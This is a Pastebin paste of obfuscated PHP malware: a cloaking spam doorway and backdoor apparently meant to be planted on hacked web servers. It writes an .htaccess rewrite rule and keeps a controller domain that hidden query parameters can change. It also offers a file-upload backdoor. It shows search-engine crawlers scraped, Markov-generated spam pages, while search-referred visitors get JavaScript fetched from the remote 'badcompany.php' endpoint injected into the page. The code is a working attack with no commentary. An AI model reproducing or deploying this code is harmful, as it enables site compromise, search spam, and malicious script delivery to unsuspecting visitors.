Advertisement
johnburn

Untitled

Apr 27th, 2011
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.81 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. if (isset($_GET['q'])) {
  4.     if (!(preg_match("/^([a-z0-9\-\.\)\(\&\=]*)$/i", $_GET['q']))) {
  5.         die;
  6.     }
  7. }
  8. if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')) {
  9.     function l__0($_0) {
  10.         $_1 = curl_init();
  11.         curl_setopt($_1, CURLOPT_URL, $_0);
  12.         curl_setopt($_1, CURLOPT_HEADER, FALSE);
  13.         curl_setopt($_1, CURLOPT_RETURNTRANSFER, TRUE);
  14.         curl_setopt($_1, CURLOPT_FOLLOWLOCATION, TRUE);
  15.         curl_setopt($_1, CURLOPT_TIMEOUT, 20);
  16.         curl_setopt($_1, CURLOPT_PORT, 80);
  17.         curl_setopt($_1, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 2.0.50727; InfoPath.1)');
  18.         $_2 = curl_exec($_1);
  19.         $_3 = curl_getinfo($_1, CURLINFO_HTTP_CODE);
  20.         if ($_3 >= 400) $_2 = false;
  21.         curl_close($_1);
  22.         return $_2;
  23.     }
  24. } else if (function_exists('file_get_contents')) {
  25.     function l__0($_0) {
  26.         return file_get_contents($_0);
  27.     }
  28. } else die('not work');
  29. $_4 = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
  30. @mkdir('.log/');
  31. @chmod('.log/', round(0 + 255.5 + 255.5));
  32. @mkdir('.log/' . $_4);
  33. @chmod('.log/' . $_4, round(0 + 127.75 + 127.75 + 127.75 + 127.75));
  34. $_5 = '.log/' . $_4 . '/xmlrpc.txt';
  35. if (@fopen($_5, 'r')) {
  36. } else {
  37.     $_6 = fopen('.log/' . $_4 . '/xmlrpc.txt', 'w+');
  38.     fwrite($_6, 'bestnetblog.net');
  39.     fclose($_6);
  40. }
  41. if ($_GET['q'] == 'alcobro') {
  42.     $_5 = '.htaccess';
  43.     if (file_exists($_5)) {
  44.         $_7 = 'disable';
  45.     } else {
  46.         $_8 = "<IfModule mod_rewrite.c>
  47. RewriteEngine On
  48. RewriteCond %{REQUEST_FILENAME} !-f
  49. RewriteCond %{REQUEST_FILENAME} !-d
  50. RewriteRule ^(.*)$ " . $_SERVER['SCRIPT_NAME'] . "?q=$1 [L]
  51. </IfModule>";
  52.         $_9 = fopen('.htaccess', 'w+');
  53.         fwrite($_9, $_8);
  54.         fclose($_9);
  55.         $_7 = 'enable';
  56.     }
  57.     $_10 = file_get_contents('.log/' . $_4 . '/xmlrpc.txt');
  58.     $_11 = 'http://' . $_10 . '/logdomain.php?q=' . $_SERVER['HTTP_HOST'];
  59.     $_12 = l__0($_11);
  60.     echo $_12 . $_7;
  61.     die;
  62. }
  63. if ($_GET['dom100500'] != '') {
  64.     $_13 = fopen('.log/' . $_4 . '/xmlrpc.txt', 'w+');
  65.     fwrite($_13, $_GET['dom100500']);
  66.     fclose($_13);
  67.     echo '100500ok';
  68.     die;
  69. }
  70. if ($_GET['up100500'] != '') {
  71.     $_14 = '';
  72.     $_14 = $_14 . basename($_FILES['uploaded']['name']);
  73.     $_15 = 1;
  74.     if (move_uploaded_file($_FILES['uploaded']['tmp_name'], $_14)) {
  75.         echo 'up100500';
  76.     }
  77.     echo '<form enctype="multipart/form-data" method="POST"><input name="uploaded" type="file"><input type="submit" value="U"></form>';
  78.     die;
  79. }
  80. function l__1($_16) {
  81.     $_4 = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
  82.     $_17 = isset($_GET['q']) ? str_replace('/', '', urldecode($_GET['q'])) : FALSE;
  83.     $_18 = str_replace('-', '+', $_17);
  84.     $_18 = str_replace('_', '+', $_17);
  85.     $_19 = 'http://www.google.com/search?hl=en&as_q=' . $_18 . '&num=100&as_qdr=all';
  86.     $_20 = l__0($_19);
  87.     preg_match_all('#<div class="s">(.*)<br>#U', $_20, $_21);
  88.     $_22 = array();
  89.     for ($_23 = 0;$_23 < count($_21[round(0 + 1) ]);$_23++) {
  90.         $_24 = trim($_21[round(0 + 1) ][$_23]);
  91.         $_24 = strip_tags($_24, '<em>');
  92.         $_24 = str_replace('em>', 'b>', $_24);
  93.         $_24 = str_replace('...', '. ', $_24);
  94.         $_24 = str_replace('&amp;#39;', '\'', $_24);
  95.         $_24 = str_replace('&#39;', '\'', $_24);
  96.         $_24 = str_replace('#039;', '\'', $_24);
  97.         $_24 = str_replace('&amp;quot;', '', $_24);
  98.         $_24 = str_replace('middot;', '', $_24);
  99.         $_24 = str_replace('quot;', '', $_24);
  100.         $_24 = str_replace('amp;', '', $_24);
  101.         $_24 = str_replace('nbsp;', '', $_24);
  102.         $_24 = str_replace('—', ' ', $_24);
  103.         $_24 = strip_tags($_24);
  104.         array_push($_22, $_24);
  105.     }
  106.     for ($_23 = 0;$_23 < round(0 + 50);$_23++) {
  107.         $_25.= $_22[$_23];
  108.     }
  109.     Class l__2 {
  110.         var $_26 = array();
  111.         function l__2($_27) {
  112.             $_27 = strtolower($_27);
  113.             $_27 = str_replace(array('? ', '! '), '.', $_27);
  114.             $_27 = str_replace(array(' -', '- ', "\t", "\n", "\r\n", '|', '&', '\\', '/', ' :', ' ;', '©', '·'), ' ', $_27);
  115.             $_27 = str_replace(array(')', '(', ']', '[', '—', '\'', '"', '*', '•', '~', '{', '}'), '', $_27);
  116.             $_27 = str_replace(' ,', ',', $_27);
  117.             $_27 = preg_replace('~(\s+\d{1,2}\s+)|(\w*\.\w+)~', ' ', $_27);
  118.             $_27 = preg_replace('~\s+~', ' ', $_27);
  119.             $_28 = explode('. ', $_27);
  120.             $_29 = count($_28);
  121.             for ($_30 = 0;$_30 < $_29;++$_30) {
  122.                 $_28[$_30] = explode(' ', $_28[$_30]);
  123.                 $_31 = count($_28[$_30]) - 1;
  124.                 for ($_32 = 0;$_32 < $_31;++$_32) {
  125.                     $_33 = $_28[$_30][$_32];
  126.                     $this->_26[$_33][] = $_28[$_30][$_32 + 1];
  127.                 }
  128.             }
  129.             $_34 = array_keys($this->_26);
  130.             foreach($_34 as $_17) {
  131.                 $this->_26[$_17] = array_unique($this->_26[$_17]);
  132.             }
  133.         }
  134.         function l__3($_35) {
  135.             $_36 = 0;
  136.             for ($_30 = 0;$_36 < $_35;++$_30) {
  137.                 $_37 = array_rand($this->_26);
  138.                 $_38 = mt_rand(5, 12);
  139.                 for ($_32 = 0;$_32 < $_38;++$_32) {
  140.                     $_39[$_30][$_32] = $_37;
  141.                     ++$_36;
  142.                     $_40 = $this->_26[$_37][mt_rand(0, count($this->_26[$_37]) - 1) ];
  143.                     if ($_40 == '') $_40 = array_rand($this->_26);
  144.                     $_37 = $_40;
  145.                     if ($_37 == '') break 2;
  146.                 }
  147.             }
  148.             foreach($_39 as $_41) {
  149.                 $_42 = count($_41);
  150.                 if ($_42 <= round(0 + 2)) continue;
  151.                 if (strlen($_41[$_42 - 1]) < round(0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8)) unset($_41[$_42 - 1]);
  152.                 $_41[$_42 - round(0 + 2) ] = rtrim($_41[$_42 - round(0 + 2) ], ',:;');
  153.                 $_41[$_42 - 1] = rtrim($_41[$_42 - 1], ',:;');
  154.                 $_43.= ucfirst(implode(' ', $_41)) . '. ';
  155.             }
  156.             $_43 = str_replace(' .', '.', $_43);
  157.             return $_43;
  158.         }
  159.     }
  160.     $_27 = $_25;
  161.     $_44 = new l__2($_27);
  162.     $_45 = $_44->l__3(1400);
  163.     $_45 = preg_replace('/[^a-zA-Z\., -]+?/', '', $_45);
  164.     $_46 = isset($_GET['q']) ? str_replace('/', '', urldecode($_GET['q'])) : FALSE;
  165.     $_46 = str_replace('-', ' ', $_46);
  166.     $_46 = str_replace('_', ' ', $_46);
  167.     $_47 = str_replace(' ', '+', $_46);
  168.     if ($_GET['page'] != '1') {
  169.         $_48 = '&start=' . ($_GET['page'] - 1) * round(0 + 10.5 + 10.5);
  170.     }
  171.     $_49 = l__0('http://images.google.com/images?q=' . $_47 . '&lr=lang_en' . $_48);
  172.     preg_match_all('/href="?\/imgres\?imgurl=([^\&]+)/', $_49, $_50);
  173.     $_51 = array();
  174.     for ($_32 = 0;$_32 < count($_50[round(0 + 1) ]);$_32++) {
  175.         $_52 = array('right', 'left', 'center');
  176.         array_push($_51, '<img src="' . $_50[1][$_32] . '" alt="' . ucwords($_47) . '" align="' . $_52[array_rand($_52) ] . '">');
  177.     }
  178.     shuffle($_51);
  179.     if (strstr($_SERVER['REQUEST_URI'], '.php')) {
  180.         $_53 = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . '?q=';
  181.     } else {
  182.         $_53 = 'http://' . $_SERVER['HTTP_HOST'] . preg_replace('/[^\/]*?$/', '', $_SERVER['SCRIPT_NAME']);
  183.     }
  184.     $_54 = round(0 + 15 + 15);
  185.     $_55 = glob('.log/' . $_4 . '/*.html');
  186.     array_multisort(array_map('filectime', $_55), 3, $_55);
  187.     $_56 = 1;
  188.     $_57 = '';
  189.     foreach($_55 as $_58) {
  190.         if ($_56 > $_54) break;
  191.         preg_match_all('#^\.log/' . $_4 . "/(.*)\.html$#i", $_58, $_59);
  192.         $_57.= '<a href="' . $_53 . $_59[1][0] . '" title="' . str_replace('_', ' ', str_replace('-', ' ', $_59[1][0])) . '">' . str_replace('_', ' ', str_replace('-', ' ', $_59[1][0])) . '</a>, ';
  193.         $_56++;
  194.     }
  195.     $_60 = l__0('http://clients1.google.com/complete/search?hl=en&ds=i&q=' . str_replace(' ', '%20', $_46));
  196.     preg_match_all('|\["([^"]+)",|si', $_60, $_61, 1);
  197.     $_62 = 0;
  198.     array_shift($_61[1]);
  199.     foreach($_61[1] as $_63) {
  200.         $_64.= '<a href=''.$_53.str_replace( '',  ' - ', $_63). '' title=''.$_63. ''>' . $_63 . '</a>, ';
  201.         if ($_62++ > 11) break;
  202.     }
  203.     $_65 = $_53 . $_GET['q'];
  204.     $_66 = '<a href="' . $_65 . '&page=2" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 2</a> | <a href="' . $_65 . '&page=3" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 3</a> | <a href="' . $_65 . '&page=4" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 4</a> | <a href="' . $_65 . '&page=5" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 5</a> | <a href="' . $_65 . '&page=6" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 6</a> | <a href="' . $_65 . '&page=7" title="' . ucwords($_46) . '">' . ucwords($_46) . ' - Page 7</a>';
  205.     $_67 = explode('.', $_45);
  206.     $_2 = array_merge($_67, $_51);
  207.     shuffle($_2);
  208.     foreach($_2 as $_68) {
  209.         $_69.= $_68;
  210.     }
  211.     $_70 = '.log/' . $_4 . '/shab100500.txt';
  212.     if (!file_exists($_70)) {
  213.         $_71 = file_get_contents('http://' . $_SERVER['HTTP_HOST']);
  214.         $_71 = preg_replace('/<meta(.*)name="description"(.*)>/i', '', $_71);
  215.         $_72 = preg_match_all('/<([a-zA-z]+)>(.*)<\/([a-zA-Z]+)>/imsU', $_71, $_73);
  216.         $_74 = 0;
  217.         $_75 = 0;
  218.         for ($_32 = 0;$_32 < $_72;$_32++) {
  219.             if ((preg_match('/\<script/imsU', $_73[0][$_32]) == 0) AND (strlen($_73[0][$_32]) > $_74)) {
  220.                 $_74 = strlen($_73[0][$_32]);
  221.                 $_75 = $_32;
  222.             }
  223.         }
  224.         $_71 = str_ireplace($_73[0][$_75], $_73[0][$_75] . '<REPLACEME>', $_71);
  225.         $_76 = fopen($_70, 'w');
  226.         fputs($_76, $_71);
  227.         fclose($_76);
  228.     }
  229.     $_77 = '<h1>' . strtoupper($_46) . $_78 . '</h1>
  230. ' . $_64 . $_57 . '
  231. ' . $_69 . '
  232. <p>' . $_66 . '</p>';
  233.     return $_77;
  234. }
  235. function l__4($_79) {
  236.     $_4 = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
  237.     $_80 = '.log/' . $_4 . '/' . $_79 . '.html' . $_GET['page'];
  238.     if (@file_exists($_80)) return @file_get_contents($_80);
  239.     $_16 = str_replace('-', ' ', $_79);
  240.     $_16 = str_replace('+', ' ', $_79);
  241.     $_81 = l__1($_16);
  242.     $_82 = @fopen($_80, 'w');
  243.     @fwrite($_82, $_81);
  244.     @fclose($_82);
  245.     return $_81;
  246.     $_83 = file_get_contents($_80);
  247. }
  248. $_84 = array('66.228.', '67.195.', '68.142.', '66.196.', '68.180.', '72.30.', '74.6.', '66.94.', '66.163.', '64.75.', '216.32.', '66.163.', '65.52.', '65.53.', '65.54.', '65.55.', '66.249.', '66.102.', '209.85.', '72.14.', '74.125.', '64.68.', '64.233.', '216.239.', '173.194.', '91.184.', '94.231.', '127.0.', '31.43.');
  249. $_85 = getenv('REMOTE_ADDR');
  250. $_86 = explode('.', $_85);
  251. for ($_32 = 0;;$_32++) {
  252.     if ($_84[$_32] == NULL) break;
  253.     $_87 = explode('.', $_84[$_32]);
  254.     if ($_87[0] == $_86[0] && $_87[1] == $_86[1]) {
  255.         if ($_GET['q'] != '') {
  256.             $_70 = '.log/' . $_4 . '/shab100500.txt';
  257.             if (filesize($_70) < round(0 + 200 + 200 + 200 + 200)) {
  258.                 $_71 = '<head>
  259. <title>title</title>
  260. </head>
  261. <body>
  262. <REPLACEME>
  263. </body>
  264. </html>';
  265.             } else {
  266.                 $_71 = file_get_contents($_70);
  267.             }
  268.             $_88 = basename($_GET['q']);
  269.             $_46 = $_GET['q'];
  270.             $_46 = str_replace('-', ' ', $_46);
  271.             $_46 = str_replace('.html', '', $_46);
  272.             $_71 = preg_replace('/<title>(.*)<\/title>/imsU', '<title>' . ucwords($_46) . '</title>
  273. <meta name="googlebot" content="noarchive">', $_71);
  274.             $_71 = str_ireplace('<REPLACEME>', l__4($_88), $_71);
  275.             print $_71;
  276.             exit;
  277.         }
  278.     }
  279. }
  280. if ($_GET['q'] != '') {
  281.     if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) {
  282.         echo '<script>';
  283.         include ('.log/' . $_4 . '/iog.txt');
  284.         echo '</script>';
  285.         die;
  286.     }
  287.     if (strpos($_SERVER['HTTP_REFERER'], 'site%') > 0) {
  288.     } else {
  289.         if (strpos($_SERVER['HTTP_REFERER'], 'google.') || strpos($_SERVER['HTTP_REFERER'], 'yahoo.') || strpos($_SERVER['HTTP_REFERER'], 'bing.') > 0) {
  290.             $_89 = round(0 + 10 + 10 + 10) * round(0 + 15 + 15 + 15 + 15);
  291.             $_90 = '.log/' . $_4 . '/iog.txt';
  292.             if (!file_exists($_90) || time() - filemtime($_90) > $_89) {
  293.                 $_10 = file_get_contents('.log/' . $_4 . '/xmlrpc.txt');
  294.                 $_91 = 'http://' . $_10 . '/badcompany.php?q=' . $_4 . $_SERVER['SCRIPT_NAME'];
  295.                 $_2 = l__0($_91);
  296.                 $_92 = fopen('.log/' . $_4 . '/iog.txt', 'w+');
  297.                 fwrite($_92, $_2);
  298.                 fclose($_92);
  299.             }
  300.             echo '<script>';
  301.             include ('.log/' . $_4 . '/iog.txt');
  302.             echo '</script>';
  303.             die();
  304.         }
  305.     }
  306. }
  307. header('Location: http://' . $_SERVER['HTTP_HOST']);
  308. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement